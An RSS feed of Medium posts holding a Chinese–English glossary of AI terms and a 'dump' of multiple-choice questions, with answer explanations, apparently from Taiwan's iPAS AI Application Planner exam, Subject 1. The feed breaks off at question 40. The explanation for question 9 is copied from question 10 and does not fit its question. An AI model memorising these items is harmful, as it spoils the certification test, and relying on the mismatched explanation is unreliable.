<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Atom on Medium]]></title>
        <description><![CDATA[Stories by Atom on Medium]]></description>
        <link>https://medium.com/@dd565345421?source=rss-47f3c6d32c00------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hMgQQViekDUorYzAj0_H-A.png</url>
            <title>Stories by Atom on Medium</title>
            <link>https://medium.com/@dd565345421?source=rss-47f3c6d32c00------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 19:47:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dd565345421/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[AI應用規劃師(中級)詞彙表]]></title>
            <link>https://medium.com/@dd565345421/ai%E6%87%89%E7%94%A8%E8%A6%8F%E5%8A%83%E5%B8%AB-%E4%B8%AD%E7%B4%9A-%E8%A9%9E%E5%BD%99%E8%A1%A8-cee2d8013e53?source=rss-47f3c6d32c00------2</link>
            <guid isPermaLink="false">https://medium.com/p/cee2d8013e53</guid>
            <dc:creator><![CDATA[Atom]]></dc:creator>
            <pubDate>Thu, 30 Apr 2026 09:43:24 GMT</pubDate>
            <atom:updated>2026-04-30T09:51:31.328Z</atom:updated>
            <content:encoded><![CDATA[<p>自然語言處理（Natural Language Processing, NLP）<br>電腦視覺（Computer Vision, CV）<br>生成式 AI（Generative AI）<br>多模態人工智慧（Multimodal AI）<br>跨模態表示學習（Cross-modal Embeddings）<br>融合（Fusion）<br>命名實體辨識（Named Entity Recognition, NER）<br>隱馬可夫模型（Hidden Markov Model, HMM）<br>條件隨機場（Conditional Random Field, CRF）<br>自注意力機制（Self-Attention）<br>微調（Fine-tuning）<br>詞性標注（POS Tagging）<br>詞形還原（Lemmatization）<br>詞幹提取（Stemming）<br>停用詞移除（Stopword Removal）<br>文字正規化（Normalization）<br>One-hot Encoding（One-hot Encoding）<br>Bag of Words（Bag of Words, BoW）<br>逆文件頻率（Term Frequency–Inverse DocumentFrequency, TF-IDF）<br>Word2Vec（Word2Vec）<br>GloVe（Global Vectorsfor Word Representation）<br>FastText（FastText）<br>ELMo（ELMo）<br>BERT（BERT）<br>GPT（GPT）<br>RoBERTa（RoBERTa）<br>T5（T5）<br>條件機率（Conditional Probability）<br>條件機率分佈（Conditional Probability Distribution）<br>貝氏定理（Bayes’ Theorem）<br>先驗機率（Prior Probability）<br>似然（Likelihood）<br>邊際機率（Marginal Probability）<br>後驗機率（Posterior Probability）<br>假設檢定（Hypothesis Testing）<br>p值（p-value）<br>顯著水準（Significant Level, α）<br>期望值（Expected Value）<br>變異數（Variance）<br>標準差（Standard Deviation）<br>偏態（Skewness）<br>峰度（Kurtosis）<br>向量（Vector）<br>矩陣（Matrix）<br>點積（Dot Product）<br>L2 範數（L2 Norm）<br>線性變換（Linear Transformation）<br>特徵值分解（Eigenvalue Decomposition）<br>奇異值分解（Singular Value Decomposition, SVD）<br>非負矩陣分解（Non-negative Matrix Factorization, NMF）<br>主成分分析（Principal Component Analysis, PCA）<br>線性判別分析（Linear Discriminant Analysis, LDA）<br>最小平方估計（Ordinary Least Squares, OLS）<br>損失函數（Loss Function）<br>均方誤差（Mean Squared Error, MSE）<br>交叉熵損失（Cross-Entropy Loss）<br>梯度下降（Gradient Descent）<br>凸函數（Convex Function）<br>非凸（Non-convex）<br>監督式學習（Supervised Learning）<br>非監督式學習（Unsupervised Learning）<br>強化學習（Reinforcement Learning）<br>偏差-變異權衡（Bias-Variance Tradeoff）<br>過擬合（Overfitting）<br>欠擬合（Underfitting）<br>正則化（Regularization）<br>L1 正則化（L1 Regularization）<br>L2 正則化（L2 Regularization）<br>k-fold 交叉驗證（k-fold Cross Validation）<br>模型漂移（Model Drift）<br>資料漂移（Data Drift）<br>MLOps（MLOps）<br>概念驗證（Proof of Concept, POC）<br>投資報酬率（Return on Investment, ROI）<br>可解釋 AI（Explainable AI, XAI）<br>職能基準（Competency Standard）<br>個資法（Personal Data Protection Act）<br>GDPR（GDPR）<br>隱馬可夫模型（Hidden Markov Model）<br>條件隨機場（Conditional Random Field）<br>Transformer（Transformer）<br>激活函數（Activation Function）<br>前向傳播（Forward Propagation）<br>反向傳播（Backpropagation）<br>梯度消失（Vanishing Gradient）<br>殘差連接（Residual Connection）<br>Dropout（Dropout）<br>Batch Normalization（Batch Normalization）<br>自編碼器（Autoencoder）<br>生成對抗網路（Generative Adversarial Network, GAN）<br>擴散模型（Diffusion Model）<br>CLIP（CLIP）<br>Vision Transformer（Vision Transformer, ViT）<br>動態時間扭曲（Dynamic Time Warping, DTW）<br>弱監督學習（Weakly Supervised Learning）<br>知識蒸餾（Knowledge Distillation）<br>低秩適應（Low-Rank Adaptation, LoRA）<br>Prompt Engineering（Prompt Engineering）<br>Reinforcement Learning with Human Feedback（RLHF）<br>Red Teaming（Red Teaming）<br>資料地圖（Data Map）<br>準識別資訊（Quasi-identifiers）<br>K-匿名（K-Anonymity）<br>L-多樣性（L-Diversity）<br>T-接近性（T-Closeness）<br>差分隱私（Differential Privacy）<br>聯邦學習（Federated Learning）<br>同態加密（Homomorphic Encryption）<br>Demographic Parity（Demographic Parity）<br>Equalized Odds（Equalized Odds）<br>Equal Opportunity（Equal Opportunity）<br>SHAP（SHAP）<br>LIME（LIME）<br>概念漂移（Concept Drift）<br>資料漂移（Data Drift）<br>服務水準協議（Service Level Agreement, SLA）<br>風險管理計畫（Risk Management Plan）<br>轉移風險（Risk Transfer）<br>緩解風險（Risk Mitigation）<br>接受風險（Risk Acceptance）<br>避免風險（Risk Avoidance）<br>風險管理（Risk Management）<br>iPAS（iPAS）<br>Low-Rank Adaptation（LoRA）<br>Reinforcement Learning from Human Feedback（RLHF）<br>演算法偏見（Algorithmic Bias）<br>公平性（Fairness）<br>數據隱私（Data Privacy）<br>非凸函數（Non-convex Function）<br>局部最小值（Local Minimum）<br>鞍點（Saddle Point）<br>L2 範數（L2 Norm / Euclidean Norm）<br>自然語言理解（Natural Language Understanding, NLU）<br>自然語言生成（Natural Language Generation, NLG）<br>規則式系統（Rule-based Systems）<br>統計語言模型（Statistical Language Models）<br>深度學習（Deep Learning）<br>預訓練語言模型（Pre-trained Language Models）<br>Tokenization（Tokenization）<br>詞性標注（Part-of-Speech Tagging, POS Tagging）<br>靜態詞嵌入（Static Word Embedding）<br>語境型詞嵌入（Contextualized Word Embedding）<br>型一錯誤（Type I Error）<br>N-gram語言模型（N-gram Language Model）<br>長距離依賴關係（Long-range Dependencies）<br>語意嵌入（Semantic Embedding）<br>平均精確率（Mean Average Precision, mAP）<br>IoU（Intersection over Union）<br>召回率（Recall）<br>Max-Pooling<br>Softmax<br>資料增強（DataAugmentation）<br>DBSCAN（Density-Based Spatial Clusteringof Applications with Noise）<br>模型超參數（Hyperparameters）</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cee2d8013e53" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IPAS AI Application Planner-Junior Ability Assessment Subject 1[Dump]]]></title>
            <link>https://medium.com/@dd565345421/ipas-ai-application-planner-junior-ability-assessment-dump-718794a84b8a?source=rss-47f3c6d32c00------2</link>
            <guid isPermaLink="false">https://medium.com/p/718794a84b8a</guid>
            <dc:creator><![CDATA[Atom]]></dc:creator>
            <pubDate>Tue, 31 Mar 2026 08:58:24 GMT</pubDate>
            <atom:updated>2026-04-01T08:09:20.486Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>This set of questions only includes Subject 1: <strong>Introduction to Artificial Intelligence Fundamentals</strong>. If any answers are incorrect, please leave a comment for correction.</blockquote><ol><li>In the decision-making process of an AI system, which of the following scenarios best reflects the supervisory mechanism emphasized by <strong>Human-over-the-loop</strong>?<br> (A) The AI system can only provide suggestions, and humans must actively issue commands before any decision can be made.<br> (B) Humans routinely supervise the operation of the AI and can immediately intervene, correct, or override it when necessary.<br> (C) Humans do not normally participate in the AI’s operation and only take over control when anomalies or major errors occur.<br> (D) Every judgment and action made by the AI must be individually reviewed and approved by a human before execution.</li></ol><p><strong>Explanation:</strong> Human-over-the-loop means that the AI operates autonomously, but a human continuously supervises it and can intervene when necessary.</p><p>2. Which feature engineering technique is most suitable for combining the two fields “<strong>day of the week</strong>” and “<strong>24-hour time</strong>” to predict commuting time?<br> (A) One-hot encoding<br> (B) Normalization<br> (C) Feature cross<br> (D) Wide and Deep</p><p><strong>Explanation: </strong>Feature cross is suitable here because commuting time often depends on the interaction between the day of the week and the time of day.</p><p>3. Which of the following statements about <strong>ETL (Extract-Transform-Load)</strong> is correct?<br> (A) “E” means directly storing data into the target repository.<br> (B) The processing order of ETL can be freely rearranged as TEL.<br> (C) “L” means loading data into the target repository after decrypting it.<br> (D) “T” includes data cleaning and sorting.</p><p><strong>Explanation:</strong> In ETL, the Transform step includes tasks such as cleaning, sorting, and converting data before loading it into the target system.</p><p>4. Which of the following statements about <strong>L1 and L2 regularization</strong> is correct?<br> (A) The more L1 weights there are, the more the model accuracy can be improved.<br> (B) L2 is called Lasso regularization.<br> (C) L1 controls model complexity by reducing the absolute values of weights.<br> (D) Compared with L1, L2 regularization drives feature weights closer to zero.</p><p><strong>Explanation:</strong> L1 regularization controls model complexity by penalizing the absolute values of weights, which can even drive some weights to zero.</p><p>5. In machine learning, the <strong>bias-variance tradeoff</strong> is mainly used to address which type of problem?<br> (A) The model learns insufficient information due to limitations in data sources or collection methods.<br> (B) Test samples highly overlap with training data, leading to inaccurate evaluation of generalization ability.<br> (C) Uneven class distribution in the training data causes poor performance on minority classes.<br> (D) How to balance bias and variance in order to avoid overfitting or underfitting.</p><p><strong>Explanation:</strong> The bias-variance tradeoff is about balancing underfitting and overfitting so that the model can generalize well to new data.</p><p>6. In the Lasso model, why does <strong>L1 regularization</strong> cause parameters to converge to zero?<br> (A) L1 regularization ignores the target variable.<br> (B) L1 has a smoothing effect on gradients.<br> (C) L1 imposes a stronger penalty on large coefficients, encouraging sparse solutions.<br> (D) L1 transforms the loss function into a non-convex form.</p><p><strong>Explanation:</strong> L1 regularization encourages sparsity by strongly penalizing large coefficients, which can drive some weights exactly to zero.</p><p>7. The <strong>Naive Bayes classifier</strong> is often used in text classification and spam filtering. Based on its characteristics, which category does it best belong to?<br> (A) A model that directly learns the boundary or relationship between input features and target labels for classification.<br> (B) A model that constructs the overall distribution of the data and uses conditional relationships for inference and classification.<br> (C) A model that focuses on exploring similarities among samples and automatically dividing the data into groups.<br> (D) A model that learns through trial and error, optimizing decision strategies based on rewards or penalties from actions.</p><p><strong>Explanation:</strong> Naive Bayes is a probabilistic model that classifies data by modeling class distributions and using conditional probabilities.</p><p>8. To improve the contextual consistency of responses generated by a generative AI system, what type of model technique is commonly combined with it?<br> (A) Decision Tree Classifier<br> (B) Conditional Language Model<br> (C) Reinforcement learning Q-learning function model<br> (D) Genetic Algorithm</p><p><strong>Explanation:</strong> A conditional language model improves response consistency by generating text based on given context, instructions, or other conditions.</p><p>9. According to the draft <strong>Basic Act on Artificial Intelligence</strong> approved by Taiwan’s Executive Yuan in September 2025, the government’s “<strong>innovation experimentation environment</strong>” for AI mainly refers to which EU system?<br> (A) Data Protection Impact Assessment<br> (B) Regulatory Sandbox<br> (C) AI Trust Label<br> (D) AI Ethics Review Board</p><p><strong>Explanation:</strong> Daily publication of the AI system’s operating status is not a typical mandatory governance measure in financial AI regulations.</p><p>10. According to the <strong>Regulations Governing the Use of Artificial Intelligence Technology by Financial Institutions</strong>, financial institutions must establish an internal governance framework and designate a responsible unit or personnel to promote and manage AI affairs. Which of the following is not explicitly required as a governance measure under the regulations?<br> (A) Conducting AI talent development<br> (B) Clearly understanding how generative AI technology operates<br> (C) Publishing the operating status of AI systems on a daily basis<br> (D) Assigning senior executives or a committee to perform oversight and management</p><p><strong>Explanation:</strong> Daily publication of the AI system’s operating status is not a typical mandatory governance measure in financial AI regulations.</p><p>11. Which type of problem is most suitable for <strong>unsupervised learning</strong>?<br> (A) Training a model to diagnose diseases based on labeled medical images<br> (B) Segmenting users based on their behavior to optimize marketing strategies<br> (C) Predicting the probability of future traffic accidents based on known accident records<br> (D) Predicting future stock market trends based on historical stock prices</p><p><strong>Explanation:</strong> Unsupervised learning is most suitable for discovering hidden patterns or groupings in unlabeled data, such as customer segmentation based on behavior.</p><p>12. Which type of chart is most suitable for presenting and analyzing the relationship between <strong>two numerical variables</strong>, such as observing the correlation between height and weight?<br> (A) Scatter Plot<br> (B) Line Chart<br> (C) Histogram<br> (D) Bar Chart</p><p><strong>Explanation:</strong> A scatter plot is the most suitable chart for showing the relationship between two numerical variables, such as whether height and weight are positively correlated.</p><p>13. Which of the following application scenarios is correctly matched with the corresponding type of machine learning?<br> (A) In medical imaging data, only a small portion of images are labeled by experts while most are unlabeled; researchers combine labeled and unlabeled data to build a model — <strong>Supervised Learning</strong><br> (B) In a self-driving car simulation environment, the model adjusts its decision strategy based on reward or penalty signals indicating whether it safely passed an intersection — <strong>Unsupervised Learning</strong><br> (C) In customer purchase records, the model is trained using known labels of whether customers churned to predict whether new customers will churn —<strong> Reinforcement Learning</strong><br> (D) In stock market data, historical stock price sequences are used to group future trends into categories such as upward, sideways, or downward without any labels — <strong>Unsupervised Learning</strong></p><p><strong>Explanation:</strong> Option D is correctly matched because grouping stock trends into categories without labels is an unsupervised learning task, while the other options mismatch the learning types.</p><p>14. An enterprise analytics team is processing nearly two years of operational and sales data. Four departments have proposed different analytical needs. Which one is closest to the characteristics of <strong>predictive analysis</strong>?<br> (A) Visualizing past monthly sales trends and standard deviations of all product lines to observe distributions and fluctuations<br> (B) Identifying the regions and product categories where last year’s Mother’s Day promotion was ineffective through data comparison analysis<br> (C) Building a model to estimate next quarter’s sales volume of main products in order to plan inventory and warehouse resource allocation<br> (D) Using a heat map to analyze the potential relationship between advertising cost and order conversion rate</p><p><strong>Explanation:</strong> Predictive analysis focuses on using historical data to estimate future outcomes, so building a model to forecast next quarter’s sales best fits this characteristic.</p><p>15. A model uses the <strong>K-Nearest Neighbors (KNN)</strong> algorithm for classification, with K = 3. After a new test sample is input, its three nearest neighbors belong to the following classes: Neighbor 1: Class A; Neighbor 2: Class B; Neighbor 3: Class A. Into which class will the model predict this sample?<br> (A) Class A<br> (B) Class B<br> (C) A and half B, so it cannot be classified<br> (D) Either A or B, depending on distance-based weighting</p><p><strong>Explanation:</strong> In KNN with K = 3, the model predicts the class that appears most often among the three nearest neighbors. Since Class A appears twice, the sample is classified as Class A.</p><p>16. A team wants to use a <strong>Recurrent Neural Network (RNN)</strong> to build a predictive model for long-term climate data. Which of the following best describes a challenge they may encounter when using an RNN?<br> (A) RNNs cannot process variable-length sequence inputs, which greatly limits their practical use.<br> (B) RNNs may suffer from vanishing gradients when trained on long sequences, affecting model performance.<br> (C) RNNs cannot capture temporal dependencies, resulting in low prediction accuracy.<br> (D) RNNs can only be used for classification tasks and cannot be applied to time-series prediction.</p><p><strong>Explanation:</strong> A common challenge of RNNs is the vanishing gradient problem when handling long sequences, which makes it difficult for the model to learn long-term dependencies effectively.</p><p>17. A fintech company designs a smart investment system that automatically decides whether to <strong>buy, hold</strong>, or <strong>sell</strong> based on market changes, and gradually optimizes its next investment strategy according to the profit or loss after each trade. The system does not rely on pre-labeled data, but instead adjusts based on rewards from previous actions. Which learning method is this system most likely using?<br> (A) Reinforcement Learning<br> (B) Supervised Learning<br> (C) Unsupervised Learning<br> (D) Transfer Learning</p><p><strong>Explanation:</strong> This system is using reinforcement learning because it learns by interacting with the environment and adjusting its actions based on reward signals such as profit or loss.</p><p>18. Which of the following statements about <strong>Q-Learning</strong> and <strong>Deep Q-Learning</strong> is most accurate?<br> (A) The difference between Q-Learning and Deep Q-Learning lies in whether labeled data is used as the basis for learning.<br> (B) Q-Learning can handle state spaces of arbitrary dimensions, so it is more flexible than Deep Q-Learning.<br> (C) Deep Q-Learning uses deep neural networks to approximate Q-values, avoiding the scalability problem of Q-tables in high-dimensional spaces.<br> (D) Deep Q-Learning cannot use experience replay because it disrupts the order of samples.</p><p><strong>Explanation:</strong> Deep Q-Learning uses deep neural networks to approximate Q-values, which helps solve the scalability problem of traditional Q-tables in high-dimensional state spaces.</p><p>19. When training a machine learning model, if the task is to predict <strong>housing prices</strong>, which loss function should be used to measure prediction error?<br> (A) Mean Squared Error (MSE)<br> (B) Cross-Entropy Loss<br> (C) Hinge Loss<br> (D) KL Divergence</p><p><strong>Explanation:</strong> Housing price prediction is a regression task, and Mean Squared Error (MSE) is a standard loss function for measuring the difference between predicted and actual continuous values.</p><p>20. A hospital wants to develop a system that predicts the probability (0–1) of a patient developing diabetes based on information such as age, blood pressure, and BMI, and issues a risk alert if the predicted value exceeds 0.5. Which model is most suitable for this classification task?<br> (A) Logistic Regression<br> (B) Support Vector Machine<br> (C) Decision Tree<br> (D) K-means</p><p><strong>Explanation:</strong> Logistic Regression is suitable because the task is to predict the probability of a binary outcome, such as whether a patient will develop diabetes or not.</p><p>21. A fintech company is developing a <strong>default risk prediction system</strong> that needs to process a large number of financial features from different customers. Considering that there are many features and the company wants to improve prediction stability and generalization ability, which discriminative AI model is most suitable?<br> (A) Logistic Regression<br> (B) Support Vector Machine<br> (C) Decision Tree<br> (D) Random Forest</p><p><strong>Explanation:</strong> Random Forest is well suited for handling many financial features because it improves stability and generalization by combining multiple decision trees and reducing overfitting risk.</p><p>22. Which of the following best describes the operating process of a <strong>Variational Autoencoder (VAE)</strong>?<br> (A) The decoder’s task is to classify low-dimensional compressed vectors into different classes.<br> (B) The encoder transforms input data into visualized images to facilitate model learning.<br> (C) The encoder transforms the data into a latent space representation, and the decoder reconstructs the data from it.<br> (D) The encoder uses maximum marginal probability to detect anomalies in the data.</p><p><strong>Explanation:</strong> In a VAE, the encoder maps input data into a latent space representation, and the decoder reconstructs the data from that latent representation.</p><p>23. Which of the following is <strong>not </strong>an evaluation item used by Taiwan’s Ministry of Digital Affairs AI Product and System Evaluation Center for <strong>generative AI</strong>?<br> (A) Accountability<br> (B) Reliability<br> (C) Privacy and cybersecurity<br> (D) Interactivity</p><p><strong>Explanation:</strong> Interactivity is not one of the main evaluation items used by the Ministry of Digital Affairs AI Product and System Evaluation Center for generative AI.</p><p>24. Assuming the <strong>GPT-OSS</strong> model architecture remains unchanged, if the number of model parameters is increased from <strong>2 billion to 12 billion</strong>, and assuming there is enough training data to support it, which statement is most accurate?<br> (A) Increasing parameters will improve performance linearly, and no bottleneck will occur even if the training data remains unchanged.<br> (B) More parameters make inference faster because more parameters can be computed in parallel in each layer.<br> (C) A larger number of parameters can improve the model’s representational capacity and predictive performance, but sufficient training data is required.<br> (D) Increasing the number of parameters does not affect memory usage and only affects computation speed.</p><p><strong>Explanation:</strong> Increasing the number of parameters can improve the model’s representational capacity, but sufficient training data is still necessary to fully realize those performance gains.</p><p>25. In natural language processing tasks, in order to reduce the impact of bias in the training corpus on the model, which of the following data-processing strategies is a common <strong>data debiasing</strong> approach?<br> (A) Randomly replacing outputs during training to offset systematic bias in the data<br> (B) Increasing the number of model parameters and relying on a larger model to automatically eliminate bias in the original data<br> (C) Adjusting or expanding the training corpus so that the proportions of different groups or types of data are more balanced, preventing the model from overly favoring frequently occurring classes<br> (D) Applying additional regularization or noise to the training data so that the model becomes less sensitive to bias during learning</p><p><strong>Explanation:</strong> A common debiasing strategy is to rebalance or expand the training corpus so that different groups or classes are represented more fairly, reducing systematic bias in model outputs.</p><p><strong>26.</strong> During the <strong>fine-tuning</strong> process of a deep learning model, the phenomenon known as <strong>catastrophic forgetting</strong> may occur. Which of the following situations is this phenomenon most likely to cause?<br> (A) Due to insufficient computational resources or training steps, the model cannot fully converge during fine-tuning, limiting the learning effect.<br> (B) After fine-tuning, the model’s performance becomes random and it cannot effectively retain newly learned patterns and knowledge.<br> (C) After fine-tuning, some model weights shift, causing the model to be unable to respond to longer text.<br> (D) The model overfits to the fine-tuning data distribution and gradually forgets the broad knowledge acquired during pretraining, resulting in worse performance on original tasks or broad domains.</p><p><strong>Explanation:</strong> Catastrophic forgetting means that during fine-tuning, the model may overfit to the new data and lose part of the general knowledge it previously learned during pretraining.</p><p><strong>27.</strong> In the performance optimization of large <strong>Transformer</strong> models, one common method is <strong>pruning</strong>. Which of the following best reflects the core concept of this method?<br> (A) Scaling down all weights in the model proportionally so that their values become closer to zero, thereby reducing computation.<br> (B) Removing less important or redundant weight parameters from the model to reduce model size and improve inference efficiency.<br> (C) Updating only part of the weights during training while freezing the others, thereby reducing the number of parameters that need adjustment.<br> (D) Dynamically skipping the processing of some input tokens based on attention scores, thereby reducing the computation required for each forward pass.</p><p><strong>Explanation:</strong> Pruning improves efficiency by removing less important or redundant weights from the model, reducing model size and lowering inference cost.</p><p><strong>28.</strong> When performing inference on <strong>very long input sequences</strong>, what is usually the main computational bottleneck of a Transformer model?<br> (A) The process of generating text in the output layer, because the entire model must be retrained every time a word is generated.<br> (B) The embedding lookup operation, because its time complexity grows exponentially with vocabulary size.<br> (C) The computation of the Softmax function, because heavy computation is required for each token.<br> (D) The computation and memory usage of the self-attention layer, because the size of the attention matrix grows quadratically with sequence length.</p><p><strong>Explanation:</strong> For very long input sequences, the main bottleneck in Transformers is self-attention, because its computation and memory usage grow quadratically with sequence length.</p><p><strong>29.</strong> In the field of <strong>Explainable AI (XAI)</strong>, what is the core purpose of the <strong>LIME (Local Interpretable Model-agnostic Explanations)</strong> method?<br> (A) To explain the decision-making process of a black-box model for a single sample (local prediction).<br> (B) To comprehensively improve the overall prediction accuracy of a black-box model.<br> (C) To convert a black-box model into a fully interpretable model as a replacement.<br> (D) To generate a large amount of realistic synthetic data to replace the training set.</p><p><strong>Explanation:</strong> LIME is designed to explain the prediction of a black-box model for a specific individual sample by approximating it locally with an interpretable model.</p><p><strong>30.</strong> In high-risk fields such as medical diagnosis decision-support systems, where is the core value of <strong>Explainable AI (XAI)</strong> most clearly reflected?<br> (A) By providing understandable reasons for decisions, it promotes trust and acceptance of the system’s diagnostic results among patients and healthcare professionals.<br> (B) By using explainability methods to optimize clinical data collection and management processes, thereby reducing overall medical operating costs.<br> (C) By using explanatory mechanisms to enhance the statistical significance and accuracy of model predictions, making them more scientific in research and practical application.<br> (D) By providing a transparent operational process, thereby reducing the burden on clinical staff and improving the overall efficiency of medical services.</p><p><strong>Explanation:</strong> In high-risk areas like medical diagnosis, XAI is valuable because it provides understandable reasons for decisions, helping doctors and patients trust and evaluate the system’s output.</p><p><strong>31.</strong> In a fintech company’s credit decision system, deploying <strong>counterfactual explanations</strong> often comes with technical and regulatory challenges. Which of the following best reflects the core challenge in this scenario?<br> (A) It is necessary to build a complete customer behavior prediction model to estimate the implementation cost of recommended changes and integrate it into the existing risk management system architecture.<br> (B) It is necessary to use federated learning to protect customer privacy while computing cross-institution counterfactual explanations in a distributed environment.<br> (C) It is necessary to construct a time-series causal graph to handle dynamic changes in customers’ credit conditions and predict future credit score trajectories.<br> (D) The generated counterfactual samples must satisfy causal constraints among features and business logic constraints, while also ensuring that the recommended changes are actionable in reality and compliant with fair lending regulations.</p><p><strong>Explanation:</strong> In fintech credit systems, counterfactual explanations must satisfy both real-world business constraints and fairness regulations, while also recommending actions that customers can realistically take.</p><p><strong>32.</strong> In statistical inference, if samples come from a population but show a clearly skewed distribution and the sample size is limited, which of the following strategies can best reduce bias when estimating population parameters?<br> (A) Directly use the sample mean and variance to estimate the population parameters without making any adjustments.<br> (B) Increase the sample size and consider using quantiles or the median as measures of central tendency.<br> (C) Randomly rearrange the samples and repeatedly calculate the mean to eliminate the impact of skewness.<br> (D) Rely entirely on the sample standard deviation to estimate the population parameters while ignoring the shape of the distribution.</p><p><strong>Explanation:</strong> When data are skewed and the sample size is limited, increasing the sample size and considering robust measures such as the median or quantiles can reduce estimation bias.</p><p><strong>33.</strong> In an <strong>Industrial Internet of Things (IIoT)</strong> architecture, when performing <strong>predictive maintenance</strong> and facing time-series data with extremely rare anomalies and highly imbalanced samples, which method best balances model stability and anomaly detection performance?<br> (A) Duplicate each anomalous event sample multiple times to improve anomaly sensitivity, and train a full-sequence model such as LSTM.<br> (B) Apply differencing and standardization to the time series, then use a traditional supervised learning model such as SVM for classification training.<br> (C) Use a time-series-specialized SMOTE technique to generate anomalous samples and balance the ratio of anomalies to normal data.<br> (D) Use a reconstruction-error-based autoencoder model (such as a Sequence-to-Sequence Autoencoder) for anomaly detection, trained only on normal data.</p><p><strong>Explanation:</strong> When anomalies are extremely rare in time-series IIoT data, training an autoencoder only on normal data is often effective because anomalies can then be detected through unusually high reconstruction error.</p><p><strong>34.</strong> In retail customer behavior analysis, the data warehouse contains multiple fields storing the same purchase amount information (for example: <strong>amount_usd</strong>, <strong>total_price</strong>, <strong>transaction_value</strong>), but their units, naming conventions, and formats are inconsistent, causing confusion during feature engineering. To address this kind of cross-field semantic overlap and structural redundancy, which data-processing strategy is the most appropriate and practical?<br> (A) Use data mining techniques to automatically select the field most sensitive to the target variable, and discard the others to avoid over-cleaning and disturbing the original structure.<br> (B) Keep all similar fields and let advanced models such as Gradient Boosting or Deep Learning automatically learn the feature relationships, without manual processing.<br> (C) Establish naming standards, unify amount units and formats, and perform field normalization and semantic merging to reduce the impact of duplicate information on feature importance estimation.<br> (D) Treat duplicate fields as categorical variables and apply one-hot encoding before inputting them into the model to avoid misleading the learning process with numeric values.</p><p><strong>Explanation:</strong> The best approach is to standardize naming, units, and formats, then merge semantically overlapping fields so that feature engineering is based on consistent and non-redundant information.</p><p><strong>35.</strong> A large retail company is about to deploy a product recommendation model. While reviewing the training data, the project team finds that some product categories (such as high-priced products) have very few samples, while most samples are concentrated in low-priced products. If this imbalance is not properly handled, which of the following situations is most likely to occur in actual recommendation results?<br> (A) The model tends to output rare classes during prediction, which captures minority samples but significantly reduces precision.<br> (B) Because of the uneven class distribution, the model cannot establish an effective linear decision boundary and therefore fails to converge.<br> (C) The model overfocuses on rare classes, leading to reduced predictive ability for the majority class and overall performance degradation.<br> (D) The decision boundary learned by the model is mainly dominated by the majority class, ignoring rare classes and causing a significant drop in recall for those classes.</p><p><strong>Explanation:</strong> If class imbalance is not handled, the model tends to be dominated by the majority class, which causes minority classes to be ignored and significantly lowers their recall.</p><p><strong>36.</strong> An e-commerce data team is helping the marketing department plan a remarketing strategy. The available data include user clicks, purchase records, traffic sources, and conversion rates. If the data team wants to first conduct <strong>exploratory data analysis (EDA)</strong>, which of the following best fits an EDA approach?<br> (A) Build a random forest model to predict whether users will complete a purchase.<br> (B) Use K-means to cluster users and immediately develop corresponding promotional strategies.<br> (C) Plot the relationship between different traffic sources and conversion rates to identify potential patterns.<br> (D) Set statistical hypotheses for different shopping paths and perform a two-sample t-test.</p><p><strong>Explanation:</strong> Exploratory Data Analysis focuses on observing patterns and relationships in the data, so plotting traffic sources against conversion rates is a typical EDA activity.</p><p><strong>37.</strong> A fintech company is using historical transaction data to build a risk control model and estimate the overall proportion of fraudulent transactions. Recently, it found obvious <strong>time-series correlation</strong> among samples, which caused a higher false judgment rate when detecting new transactions. If the company wants to improve both the accuracy of fraud-rate estimation and model robustness, which approach is most appropriate?<br> (A) Expand the sample size to cover more potential fraud types while keeping the existing random sampling method unchanged.<br> (B) Adopt a time-series-sensitive sampling strategy, such as stratifying by transaction time intervals, in order to preserve the original temporal structure.<br> (C) Completely shuffle the data randomly to reduce the impact of sequential correlation on model training.<br> (D) During model evaluation, merge errors across adjacent time intervals so that the fraud ratio can be corrected using an overall estimation approach.</p><p><strong>Explanation:</strong> A time-series-sensitive sampling strategy preserves the temporal structure of transaction data, which helps improve both fraud-rate estimation and model robustness in real-world scenarios.</p><p><strong>38.</strong> A company has built a <strong>retrieval-augmented generation (RAG)</strong> knowledge query system that must balance both query efficiency and real-time data updates. Recently, it found that responses are occasionally outdated, and every document update requires a complete index rebuild, making the system unavailable during updates. Which of the following is the most suitable way to solve this problem and improve overall robustness?<br> (A) Adjust the randomness parameter of the generative model’s responses to reduce answer deviation and improve consistency.<br> (B) Improve the computational performance of retrieval and indexing to shorten the time required for queries and updates.<br> (C) Adopt incremental or segmented index updating so that new data can be incorporated immediately without rebuilding everything.<br> (D) Build a standard-answer set for frequently asked questions and respond via fast retrieval to reduce the model’s workload.</p><p><strong>Explanation:</strong> Incremental or segmented index updating is the most suitable solution because it allows new information to be added without rebuilding the entire index, improving availability and freshness.</p><p><strong>39.</strong> A hospital plans to develop a model for predicting <strong>length of hospital stay</strong> to assist with ward scheduling. Most patients stay <strong>3–7 days</strong>, but a small number of severe cases stay much longer due to treatment needs. The hospital wants an evaluation approach that can both reflect prediction accuracy for most patients and ensure robust prediction for severe cases. Which of the following methods best meets this need?<br> (A) When evaluating the model, present both the <strong>Mean Absolute Error (MAE)</strong> and the error metrics for the severe-case subgroup.<br> (B) Perform cross-validation only on general patient samples to avoid severe cases inflating the error.<br> (C) Standardize the length of stay for all patients to reduce the impact of differing numeric ranges.<br> (D) Use only a single overall <strong>R²</strong> as the basis for judging model quality.</p><p><strong>Explanation:</strong> Reporting both overall MAE and subgroup errors for severe cases gives a more complete evaluation, balancing general prediction accuracy with robustness for uncommon but important cases.</p><p><strong>40.</strong> Regarding the goals of <strong>Supervised Learning</strong> and <strong>Unsupervised Learning</strong>, which of the following statements are incorrect?</p><ol><li>The core of unsupervised learning is to discover the internal structure of data, such as 